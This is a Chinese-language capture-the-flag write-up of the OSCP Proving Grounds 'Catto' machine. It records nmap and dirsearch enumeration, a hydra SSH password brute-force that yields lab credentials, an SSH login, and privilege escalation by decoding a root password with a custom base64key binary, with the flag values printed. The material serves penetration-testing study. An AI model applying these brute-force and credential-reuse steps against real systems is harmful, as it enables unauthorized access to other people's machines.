当前位置: 首页 > news >正文

OSCP - Proving Grounds - Catto

主要知识点
  • 路径枚举

  • 从网页上寻找额外信息

  • base64key 解码

具体步骤

nmap开始,端口开的太多了,只能挨个访问并且枚举一下看看

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 05:51 UTC
Nmap scan report for 192.168.52.139
Host is up (0.00089s latency).
Not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
8080/tcp  open  http    nginx 1.14.1
|_http-title: Identity by HTML5 UP
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.1
18080/tcp open  http    Apache httpd 2.4.37 ((centos))
|_http-server-header: Apache/2.4.37 (centos)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: CentOS \xE6\x8F\x90\xE4\xBE\x9B\xE7\x9A\x84 Apache HTTP \xE6\x9C\x8D\xE5\x8A\xA1\xE5\x99\xA8\xE6\xB5\x8B\xE8\xAF\x95\xE9\xA1\xB5
30330/tcp open  http    Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
39783/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, ms-sql-s, oracle-tns: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close
42022/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 cc:21:51:f2:c6:2a:ad:d6:ca:07:04:de:70:5f:fa:13 (RSA)
|   256 05:e4:90:d2:00:2b:9d:14:e3:9f:44:68:d2:8e:bc:dc (ECDSA)
|_  256 ca:80:49:73:f0:c8:05:ae:bd:2b:42:37:1d:13:e0:71 (ED25519)
44487/tcp open  http    Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
50400/tcp open  http    Node.js Express framework
|_http-title: Error
|_http-cors: HEAD GET POST PUT DELETE PATCH

从结果中发现了比较有用的信息,303330端口比较有价值

# Dirsearch started Thu Sep 26 02:35:11 2024 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u 192.168.152.139:30330 -w /usr/share/wordlists/dirb/big.txt301   177B   http://192.168.152.139:30330/icons    -> REDIRECTS TO: /icons/
301   179B   http://192.168.152.139:30330/static    -> REDIRECTS TO: /static/

访问一下看看,

如果访问它的static路径,会得到

访问这个new-server-config-mc的话,会得到一个密码,并且这个页面在 30330 的home page中是找不到的

看起来是访问server的密码,也许是ssh,不过 我们没有用户名, “MC server”字样出现了,因为在home page里有一个 Minecraft - The Island页面 有一组人名,也许是潜在的用户名

尝试用它们加上WallAskCharacter305作为credentials尝试爆破一下,得到了 marcus/WallAskCharacter305是合法的 credentials

C:\home\kali\Documents\OFFSEC\GoToWork\Catto> hydra -L users.txt -p WallAskCharacter305 ssh://192.168.215.139:42022
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-04 17:59:04
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 11 tasks per 1 server, overall 11 tasks, 11 login tries (l:11/p:1), ~1 try per task
[DATA] attacking ssh://192.168.215.139:42022/
[42022][ssh] host: 192.168.215.139   login: marcus   password: WallAskCharacter305
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-04 17:59:10

成功登录服务器,并且发现了.bash比较可疑

C:\home\kali\Documents\OFFSEC\GoToWork\Catto> ssh marcus@192.168.215.139 -p 42022
marcus@192.168.215.139's password: 
Last login: Sat Jan  4 10:07:12 2025 from 192.168.45.161
[marcus@catto ~]$ ls -lart
total 3840
-rw-r--r--  1 marcus marcus     312 Nov  8  2019 .bashrc
-rw-r--r--  1 marcus marcus     141 Nov  8  2019 .bash_profile
-rw-r--r--  1 marcus marcus      18 Nov  8  2019 .bash_logout
drwxr-xr-x. 3 root   root        20 Nov 25  2020 ..
drwxr-xr-x  6 marcus marcus     328 Nov 25  2020 gatsby-blog-starter
drwxrwxr-x  4 marcus marcus      69 Nov 25  2020 .npm
drwx------  4 marcus marcus      39 Nov 25  2020 .config
-rw-r--r--  1 root   root        29 Nov 25  2020 .bash
-rwx--x--x  1 marcus marcus      33 Jan  4 08:11 local.txt
-rwxrwxr-x  1 marcus marcus  824745 Jan  4 10:01 linpeas.sh
-rwxrwxr-x  1 marcus marcus 3078592 Jan  4 10:01 pspy64
drwx------  6 marcus marcus     213 Jan  4 10:03 .
drwx------  3 marcus marcus      69 Jan  4 10:04 .gnupg
-rw-------  1 marcus marcus     182 Jan  4 11:59 .bash_history
[marcus@catto ~]$ cat local.txt
f07132bfd622f1b03a12fc1ad55ad44c
[marcus@catto ~]$ cat .bash
F2jJDWaNin8pdk93RLzkdOTr60==
[marcus@catto ~]$ 

由于所有者是root,盲猜是root的密码,不过看起来是base64 编码的,不过直接用base64解密会失败的,不过在linpeas.sh的结果中发现了一个/usr/bin/base64key

╔══════════╣ Executable files potentially added by user (limit 70)
2025-01-04+08:11:35.3318433230 /home/marcus/local.txt
2020-11-25+18:57:13.1504827230 /usr/bin/base64key
2020-11-25+17:15:54.5720326210 /boot/vmlinuz-0-rescue-cfbcc869a93648fdab39faeee0a267b8

看起来base64key需要一个key来进行编码,也算是一种加密了

[marcus@catto ~]$ /usr/bin/base64key
Usage: ./a.out message key (0:encrypt|1:decrypt)
./a.out "Hello world" MYPRIVATEKEY 0
./a.out ttz9JqxZHBClNtu= MYPRIVATEKEY 1

这个MYPRIVATEKEY找了好久都没发现,最后看别人的攻略居然是和登录密码一样,成功转换成root用户,不过这里一个技巧确实是,当你找不到任何key或者密码的时候,只能尝试自己手里有的

[marcus@catto ~]$ /usr/bin/base64key  F2jJDWaNin8pdk93RLzkdOTr60== WallAskCharacter305 1
SortMentionLeast269
[marcus@catto ~]$ su root
Password: 
[root@catto marcus]# id
uid=0(root) gid=0(root) groups=0(root)
[root@catto marcus]# cat /root/proof.txt
3a164545d1209a55cbc6fdf88637dc0b
[root@catto marcus]# 


文章转载自:

http://rdPGnd2D.hwsgk.cn
http://lxqjg0xo.hwsgk.cn
http://XXJ2vdBX.hwsgk.cn
http://qM0k6CP0.hwsgk.cn
http://FtFiKMnH.hwsgk.cn
http://1EuaiZqU.hwsgk.cn
http://tiDdeywd.hwsgk.cn
http://KHhXrAUp.hwsgk.cn
http://XPm0l6OC.hwsgk.cn
http://2K9gEitt.hwsgk.cn
http://OoQFRkZO.hwsgk.cn
http://uM8zd7Fy.hwsgk.cn
http://yvl6v36R.hwsgk.cn
http://TZ9L7mnR.hwsgk.cn
http://ztmW3HP0.hwsgk.cn
http://R33GfeYL.hwsgk.cn
http://DPutpOzL.hwsgk.cn
http://GUHESl3V.hwsgk.cn
http://WgoDuliD.hwsgk.cn
http://WTMAZOPc.hwsgk.cn
http://mK4BR4Tf.hwsgk.cn
http://xBMbufUI.hwsgk.cn
http://QuuZMm5c.hwsgk.cn
http://nKb8E9cG.hwsgk.cn
http://AOU3vWBK.hwsgk.cn
http://X1sC1FsR.hwsgk.cn
http://ZvV9U4EQ.hwsgk.cn
http://1HrUOPl4.hwsgk.cn
http://eZnfm5Sd.hwsgk.cn
http://zqiuJ4xJ.hwsgk.cn
http://www.dtcms.com/a/372027.html

相关文章:

  • Claude Code 使用指南
  • RabbitMQ 持久化
  • matrix-breakout-2-morpheus靶机渗透
  • 学习结构体
  • Docker 容器 OOM:从资源监控到JVM调优的实战记录
  • TypeORM、Sequelize、Hibernate 的优缺点对比:新手常见 SQL 与 ORM 踩坑总结
  • 企业级低代码平台的条件函数系统设计:从复杂到极简的架构演进
  • ICCV-2025 | 中科院自动化所世界模型助力具身导航!NavMorph:连续环境中的视觉语言导航自演化世界模型
  • ChatGPT 协作排查:Node.js 内存泄漏的定位与修复
  • Cannot resolve plugin org.apache.maven.plugins:maven-site-plugin:3.1.0
  • 备战 2025 软考系统架构师
  • RabbitMQ 重试机制 和 TTL
  • 人工智能竞赛提高mAP的方法
  • 深度学习——残差神经网络案例
  • LeetCode 刷题【68. 文本左右对齐】
  • Day23_【机器学习—集成学习(5)—Boosting—XGBoost算法】
  • 基于飞算JavaAI的在线图书借阅平台设计与实现(深度实践版)
  • fps:AI系统
  • 强化学习入门:从零开始实现Dueling DQN
  • 做事总是三分钟热度怎么办
  • 图像形态学
  • C++运算符重载——函数调用运算符 ()
  • 分布式系统——分布式数据库的高扩展性保证
  • C++ 并发编程:异步任务
  • 四、神经网络的学习(中)
  • OPENPPP2 —— IP标准校验和算法深度剖析:从原理到SSE2优化实现
  • 梅花易数:从入门到精通
  • 计算机⽹络及TCP⽹络应⽤程序开发
  • 单点登录1(SSO知识点)
  • 嵌入式学习---(ARM)